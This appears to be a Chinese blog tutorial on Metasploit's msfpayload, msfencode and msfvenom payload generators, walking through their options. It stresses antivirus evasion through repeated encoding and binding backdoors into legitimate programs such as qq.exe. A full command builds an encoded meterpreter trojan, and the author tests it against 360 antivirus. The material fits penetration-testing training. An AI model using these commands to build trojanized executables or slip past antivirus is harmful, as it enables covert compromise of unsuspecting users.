Msfpayload和Msfvenom两个都是payload的生成器,但是msfpayload将会被Metasploit团队放弃研发和更新,转而对msfvenom进行研发。所以说,msfvenom是一个比msfpayload更高级的payload生成器。但是在中国,有大量的msfpayload的用户,所以我今天两个生成器都会讲到。
O 参数
这个参数显示payload的一些信息。但是我这里居然出现了乱码。。。不过这个参数也没多大用处。
大家看看下面这行代码。如果要输出原始的exe数据,那么就需要用到E参数。如果要输出原始的python数据,那么就需要用到N参数。这么说大部分可能还不太理解。我再说的通俗一点。如果你生成的payload后缀为py,那么肯定属于python类型的payload。那么在对payload进行编译的时候,就需要用到N参数。
如果是PHP类型的payload,那么需要用到R参数。可能有人就会问了,R参数不是应该对应RAW类型的payload么。RAW的意思就是未经过处理的代码,一般来说,R参数是个万能参数,既可以用在php上,也可以用在exe上等等。如果你后期还要对payload进行多次的编辑,那么建议你使用R参数。
大家对应下面的编码查找就行了。
[H]arp [P]erl Rub[Y] [R]aw [J]s e[X]e [D]ll [V]BA [W]ar Pytho[N]
这个可不是什么payload生成器,这个属于编码器,并且要和msfpayload配合使用。
先说说参数部分。
-a 这个主要是说编码过程中对于操作系统的位数进行精密的编码。如果我要把生成的payload适用于32位操作系统,那么就输入 –a x86 -b 输入这个参数可以在生成payload当中去掉一些空代码或者是错误代码。比如-b /x00/xff。 -c 这个属于编码的次数。有时候,我们会用这个参数进行多次编码达到免杀的效果。 -d 这个东西我还真不知道。。。它的意思是在从一个目录中使用一个exe程序的模版。应该在生成exe类型的payload的时候会使用到,知道的麻烦告诉一声。 -e 这个参数的意思就是使用编码器。 -i 这个参数的意思是把payload附加到一个可执行文件。如果你已经生成一个payload,那么你可以使用-i参数把你的payload移植到一个正常的程序。比如:msfencode -i shell.exe –x qq.exe 这个命令就是说我把一个叫做shell.exe的后门添加到了一个叫做qq.exe的软件里面。 -k 如果你使用了-x和-k参数。当你的payload运行后,它会从原始的主文件中分离出来,单独创建一个进程,并且运行。这个也是一个免杀的思路。 -l 这个可以查看你目前可以使用哪些编码器 -m 这个我不知道。。。。。。知道的麻烦告诉一声。
-n 这个主要是显示编码器的一些信息。 -o 这个是输出payload的位置 -p 这个是写一下payload是在什么平台上运行,比如说是windows还是linux。 -s 这个可以写一下payload生成的时候最大是多少,比如20KB,还是30KB之类的。 -t 这个是输出的格式。 -v 这个是增加代码的冗长,主要还是用在免杀。 -x 这个是对某一个软件附加payload的选项。比如msfencode -i shell.exe –x qq.exe 这个命令就是说我把一个叫做shell.exe的后门添加到了一个叫做qq.exe的软件里面。
msfpayload windows/x64/meterpreter_bind_tcp R | msfencode -a x64 -e cmd/powershell_base64 -c 10 -t exe -x /1.exe -k -o 2.exe
这个是我生成payload的一个指令,大家可以分析一下。
1. 首先是使用msfpayload 选择了一个payload,这个payload是windows/x64/meterpreter_bind_tcp。 2. 随后使用了R参数把这个payload进行原始化的输出。 3. 之后又添加了一个|转到msfencode。 4. 使用-a x64让这个payload可以在64位系统里运行。 5. 再使用-e 选择一个编码器,我选择的是cmd/powershell_base64。 6. 随后使用-c 10,让这个编码器对原始的payload进行10次编码。 7. 随后使用-t exe确定输出的payload为exe格式。 8. 再使用-x /1.exe,让payload附加在一个1.exe的正常软件上。 9. 随后在使用-k参数。当payload执行之后,会自动创建一个教程,与原本被绑定的软件的教程分离开。 10. 最后使用-o 2.exe,把这个payload保存为一个叫做2.exe的可执行文件。
我随后把payload上传到了window平台进行测试。
在前面3分钟的时间里,不管我怎么扫描都没有任何反应。当我使用metasploit进行连接时,立马就被杀了。。。。看来360有时候还是可靠的,应该是采用了行为查杀技术 。
这个是Metasploit官方团队推出的全新的payload生成器。个人感觉比msfpayload和msfencode好用多了。Msfvenom不仅把msfpayload和msfencode进行了结合,还添加了很多东西。还是老样子,先说说参数部分。
-p 这个是选择你要加载的payload -l 列出所有的payload,encoder和nops。 -n 设置nopsled的大小,常用于ROP类型的payload。这种payload可以绕过操作系统的DEP保护。 -f 这个和msfencode里面的-t参数相同,但是比msfencode强大多了。Msfvenom提供两种格式的输出。
第一种是可执行格式( Executable formats ) : 这个格式包括:
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vbs, war。
第二种是可转换格式( Transform formats ) : 这个格式包括:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
-e 这个参数的意思就是使用编码器。 -a这个主要是说编码过程中对于操作系统的位数进行精密的编码。如果我要把生成的payload适用于32位操作系统,那么就输入 –a x86 --platform这个是写一下payload是在什么平台上运行,比如说是windows还是linux。 -s这个可以写一下payload生成的时候最大是多少,比如20KB,还是30KB之类的。 -b输入这个参数可以在生成payload当中去掉一些空代码或者是错误代码。比如-b /x00/xff。 -i这个参数属于编码的次数。有时候,我们会用这个参数进行多次编码达到免杀的效果。 -c 这个参数可添加一个win32的payload到一个你正在创建的payload当中。 -x这个是对某一个软件附加payload的选项。这个和msfencode里面的-x相同。 -k如果你使用了-x和-k参数。当你的payload运行后,它会从原始的主文件中分离出来,单独创建一个进程,并且运行。这个也是一个免杀的思路。 -o 输出payload的位置 -v 这个是对输出格式的自定义变量设置。个人建议不要进行使用,除非你要大批量生成payload。
我在这里看到一个人写的关于使用msfvenom 做免杀,感觉思路很不错,大家可以看看。 链接1 , 链接2
附上作者微博账号: Arthur 欢迎美女和汉子们关注私信~